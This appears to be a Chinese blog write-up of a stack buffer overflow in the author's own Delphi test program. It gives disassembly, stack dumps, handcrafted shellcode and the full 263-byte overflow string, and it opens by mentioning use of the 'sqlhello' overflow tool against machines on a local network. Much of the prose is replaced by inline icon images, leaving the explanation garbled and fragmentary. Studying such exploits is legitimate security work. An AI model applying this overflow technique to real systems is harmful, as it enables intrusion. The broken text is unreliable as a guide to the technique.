前两天利用sqlhello溢出漏洞工具跟局域网里面
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
于是乎也想玩
![](/icons/32758yi.gif)
![](/icons/32758dou2.gif)
![](/icons/32758de.gif)
![](/icons/32758chengxu.gif)
![](/icons/32758dou2.gif)
如果不检查输入字串
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
![](/icons/32758de.gif)
![](/icons/32758dou2.gif)
procedure TForm1.Button1Click(Sender: TObject);
var name:
begin
strcopy(name,PChar(Edit1.Text)); //Edit1
![](/icons/32758de.gif)
![](/icons/32758zifu.gif)
![](/icons/32758dou.gif)
![](/icons/32758zifu.gif)
end;
整个过程
![](/icons/32758de.gif)
0044F02C 55 PUSH EBP
0044F02D 8BEC MOV EBP,ESP
0044F02F 81C4 FCFEFFFF ADD ESP,-104
0044F035 53 PUSH EBX
0044F036 33C9 XOR ECX,ECX
0044F038 898D FCFEFFFF MOV DWORD PTR SS:[EBP-104],ECX
0044F03E 8BD8 MOV EBX,EAX
0044F040 33C0 XOR EAX,EAX
0044F042 55 PUSH EBP
0044F043 68 90F04400 PUSH Project1.0044F090
0044F048 64:FF30 PUSH DWORD PTR FS:[EAX]
0044F04B 64:8920 MOV DWORD PTR FS:[EAX],ESP
0044F04E 8D95 FCFEFFFF LEA EDX,DWORD PTR SS:[EBP-104]
0044F054 8B83 FC020000 MOV EAX,DWORD PTR DS:[EBX+2FC]
0044F05A E8 DDF3FDFF CALL Project1.0042E43C
0044F05F 8B85 FCFEFFFF MOV EAX,DWORD PTR SS:[EBP-104]
0044F065 E8 6652FBFF CALL Project1.004042D0
0044F06A 8BD0 MOV EDX,EAX
0044F06C 8D85 00FFFFFF LEA EAX,DWORD PTR SS:[EBP-100]
0044F072 E8 F590FBFF CALL Project1.0040816C
![](/icons/32758dd.gif)
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
0044F077 33C0 XOR EAX,EAX
0044F079 5A POP EDX
0044F07A 59 POP ECX
0044F07B 59 POP ECX
0044F07C 64:8910 MOV DWORD PTR FS:[EAX],EDX
0044F07F 68 97F04400 PUSH Project1.0044F097
0044F084 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104]
0044F08A E8 814DFBFF CALL Project1.00403E10
0044F08F C3 RETN
0044F090 ^ E9 7F47FBFF JMP Project1.00403814
0044F095 ^ EB ED JMP SHORT Project1.0044F084
0044F097 5B POP EBX
0044F098 8BE5 MOV ESP,EBP
0044F09A 5D POP EBP
0044F09B C3 RETN
![](/icons/32758dd.gif)
![](/icons/32758de.gif)
执行call 40816c(strcopy)的后
![](/icons/32758dou.gif)
正常栈内容:
0012F538 0012F97C Po
![](/icons/32758int.gif)
0012F53C 0044F090 SE handler
0012F540 0012F64C
0012F544 00953788
0012F548 00000000
0012F54C 00000000
//...
0012F63C |0000002D
0012F640 |00000002
0012F644 |00403277 RETURN to Project1.00403277 from Project1.004032EC
0012F648 |004280B4 Project1.004280B4
0012F64C ]0012F78C
0012F650 |0042F9D6 RETURN to Project1.0042F9D6
![](/icons/32758dd.gif)
![](/icons/32758hanshu.gif)
![](/icons/32758de.gif)
溢出后:
0012F538 0012F97C Po
![](/icons/32758int.gif)
0012F53C 0044F090 SE handler
0012F540 0012F64C ASCII "Hello."
![](/icons/32758dd.gif)
0012F544 00953788
0012F548 00952594 ASCII "111111111122222222223333333333444444444455555555556666666666777777777788888888889999999999000000000011111111112222222222333333333344444444445555555555666666666677777777778888888888999999999900000000001111111111222222222233333333334444444"...
0012F54C 31313131
![](/icons/32758dd.gif)
//...
0012F63C 35353535
0012F640 35353535
0012F644 36363535
0012F648 36363636
0012F64C 6C6C6548
0012F650 00002E6F
![](/icons/32758dd.gif)
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
![](/icons/32758hanshu.gif)
![](/icons/32758dou2.gif)
好了
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
![](/icons/32758chengxu.gif)
![](/icons/32758de.gif)
![](/icons/32758zifu.gif)
![](/icons/32758dou.gif)
![](/icons/32758dou2.gif)
![](/icons/32758yi.gif)
![](/icons/32758zifu.gif)
![](/icons/32758dou.gif)
![](/icons/32758zifu.gif)
![](/icons/32758de.gif)
![](/icons/32758dou2.gif)
![](/icons/32758de.gif)
![](/icons/32758zifu.gif)
![](/icons/32758de.gif)
![](/icons/32758de.gif)
![](/icons/32758chengxu.gif)
![](/icons/32758dou.gif)
![](/icons/32758dou.gif)
个字节
![](/icons/32758de.gif)
![](/icons/32758dou2.gif)
主要代码:
BD 8CF71230 MOV EBP,3012F78C
![](/icons/32758dd.gif)
![](/icons/32758dou.gif)
![](/icons/32758yinwei.gif)
![](/icons/32758zifu.gif)
![](/icons/32758dou.gif)
C1E5 08 SHL EBP,8
![](/icons/32758dd.gif)
![](/icons/32758de.gif)
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
C1ED 08 SHR EBP,8
![](/icons/32758dd.gif)
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
![](/icons/32758yi.gif)
B8 D6F94230 MOV EAX,3042F9D6
C1E0 08 SHL EAX,8
C1E8 08 SHR EAX,8
50 PUSH EAX
C3 RETN
经过
![](/icons/32758yi.gif)
![](/icons/32758dou.gif)
![](/icons/32758dou2.gif)
再加上结尾
![](/icons/32758de.gif)
![](/icons/32758chengxu.gif)
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
![](/icons/32758dou.gif)
只好另想办法了
![](/icons/32758dou.gif)
![](/icons/32758yi.gif)
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
代码转到12f54c就OK了(当然也可以直接在12f59d恢复EBP和返回
![](/icons/32758chengxu.gif)
![](/icons/32758dou.gif)
![](/icons/32758dou2.gif)
0012F54C 8040 32 80 ADD BYTE PTR DS:[EAX+32],80
![](/icons/32758dd.gif)
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
![](/icons/32758chengxu.gif)
0012F550 8040 47 60 ADD BYTE PTR DS:[EAX+47],60
![](/icons/32758dd.gif)
0012F554 41 INC ECX
![](/icons/32758dd.gif)
![](/icons/32758dou.gif)
0012F555 41 INC ECX
0012F556 41 INC ECX
0012F557 41 INC ECX
0012F558 41 INC ECX
0012F559 41 INC ECX
0012F55A 41 INC ECX
0012F55B 41 INC ECX
0012F55C 41 INC ECX
0012F55D 41 INC ECX
0012F55E 41 INC ECX
0012F55F 41 INC ECX
0012F560 41 INC ECX
0012F561 41 INC ECX
0012F562 41 INC ECX
0012F563 41 INC ECX
0012F564 41 INC ECX
0012F565 41 INC ECX
0012F566 41 INC ECX
0012F567 41 INC ECX
0012F568 41 INC ECX
0012F569 41 INC ECX
0012F56A 41 INC ECX
0012F56B 41 INC ECX
0012F56C 41 INC ECX
0012F56D 41 INC ECX
0012F56E 41 INC ECX
0012F56F 41 INC ECX
0012F570 41 INC ECX
0012F571 41 INC ECX
0012F572 41 INC ECX
0012F573 41 INC ECX
0012F574 41 INC ECX
0012F575 41 INC ECX
0012F576 41 INC ECX
0012F577 41 INC ECX
0012F578 BD 8C771230 MOV EBP,3012778C
![](/icons/32758dd.gif)
0012F57D C1E5 08 SHL EBP,8
0012F580 C1ED 08 SHR EBP,8
![](/icons/32758dd.gif)
0012F583 B8 D6F94230 MOV EAX,3042F9D6
0012F588 C1E0 08 SHL EAX,8
0012F58B C1E8 08 SHR EAX,8
0012F58E 50 PUSH EAX
![](/icons/32758dd.gif)
![](/icons/32758chengxu.gif)
0012F58F 6337 ARPL WORD PTR DS:[EDI],SI
![](/icons/32758dd.gif)
![](/icons/32758de.gif)
0012F591 41 INC ECX
0012F592 41 INC ECX
0012F593 41 INC ECX
0012F594 41 INC ECX
0012F595 41 INC ECX
0012F596 41 INC ECX
0012F597 41 INC ECX
0012F598 41 INC ECX
0012F599 41 INC ECX
0012F59A 41 INC ECX
0012F59B 41 INC ECX
0012F59C 41 INC ECX
0012F59D 8040 62 80 ADD BYTE PTR DS:[EAX+62],80
![](/icons/32758dd.gif)
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
0012F5A1 66:8140 6B A080 ADD WORD PTR DS:[EAX+6B],80A0
0012F5A7 41 INC ECX
0012F5A8 B9 4C751230 MOV ECX,3012754C
![](/icons/32758dd.gif)
0012F5AD C1E1 08 SHL ECX,8
0012F5B0 C1E9 08 SHR ECX,8
![](/icons/32758dd.gif)
0012F5B3 5F POP EDI
![](/icons/32758dd.gif)
0012F5B4 61 POPAD
2进制值(方便我测试用
![](/icons/32758de.gif)
80 40 32 80 80 40 47 60 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 BD 8C 77 12 30 C1 E5 08 C1 ED 08 B8 D6 F9 42 30 C1 E0 08 C1
E8 08 50 63 37 41 41 41 41 41 41 41 41 41 41 41 41 80 40 62 80 66 81 40 6B A0 80 41 B9 4C 75 12
30 C1 E1 08 C1 E9 08 5F 61
ASCII码
0012F548 80 40 32 80 80 40 47 60 41 41 41 41 €@2€€@G`AAAA
0012F558 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012F568 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012F578 BD 8C 77 12 30 C1 E5 08 C1 ED 08 B8 D6 F9 42 30 綄w0铃另钢鵅0
0012F588 C1 E0 08 C1 E8 08 50 63 37 41 41 41 41 41 41 41 拎凌Pc7AAAAAAA
0012F598 41 41 41 41 41 80 40 62 80 66 81 40 6B A0 80 41 AAAAA€@b€f丂k爛A
0012F5A8 B9 4C 75 12 30 C1 E1 08 C1 E9 08 5F 61 筁u0玲灵_a
好了
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
![](/icons/32758zifu.gif)
€@2€€@G`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA綄w0铃另钢鵅0拎凌Pc7AAAAAAAAAAAA€@b€f丂k爛A筁u0玲灵_a11111111112222222222333333333344444444445555555555666666666677777777778888888888999999999900000000001111111111222222222233333333334444444444555555555566666濙
把这个长度为263个
![](/icons/32758zifu.gif)
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
![](/icons/32758dou.gif)
![](/icons/32758dou.gif)
我们成功进行了
![](/icons/32758yi.gif)
后记:
![](/icons/32758yinwei.gif)
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
过程复杂了许多
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
![](/icons/32758hanshu.gif)
产生溢出
![](/icons/32758dou.gif)
![](/icons/32758dou.gif)
![](/icons/32758dou2.gif)
介绍溢出机制(这种是栈溢出
![](/icons/32758dou.gif)
![](/icons/32758dou.gif)
![](/icons/32758dou.gif)
![](/icons/32758de.gif)
我们
![](/icons/32758de.gif)
![](/icons/32758de.gif)
![](/icons/32758dou.gif)
以
![](/icons/32758de.gif)
![](/icons/32758dou2.gif)
![](/icons/32758yi.gif)
![](/icons/32758de.gif)
![](/icons/32758yi.gif)
![](/icons/32758yi.gif)
最新评论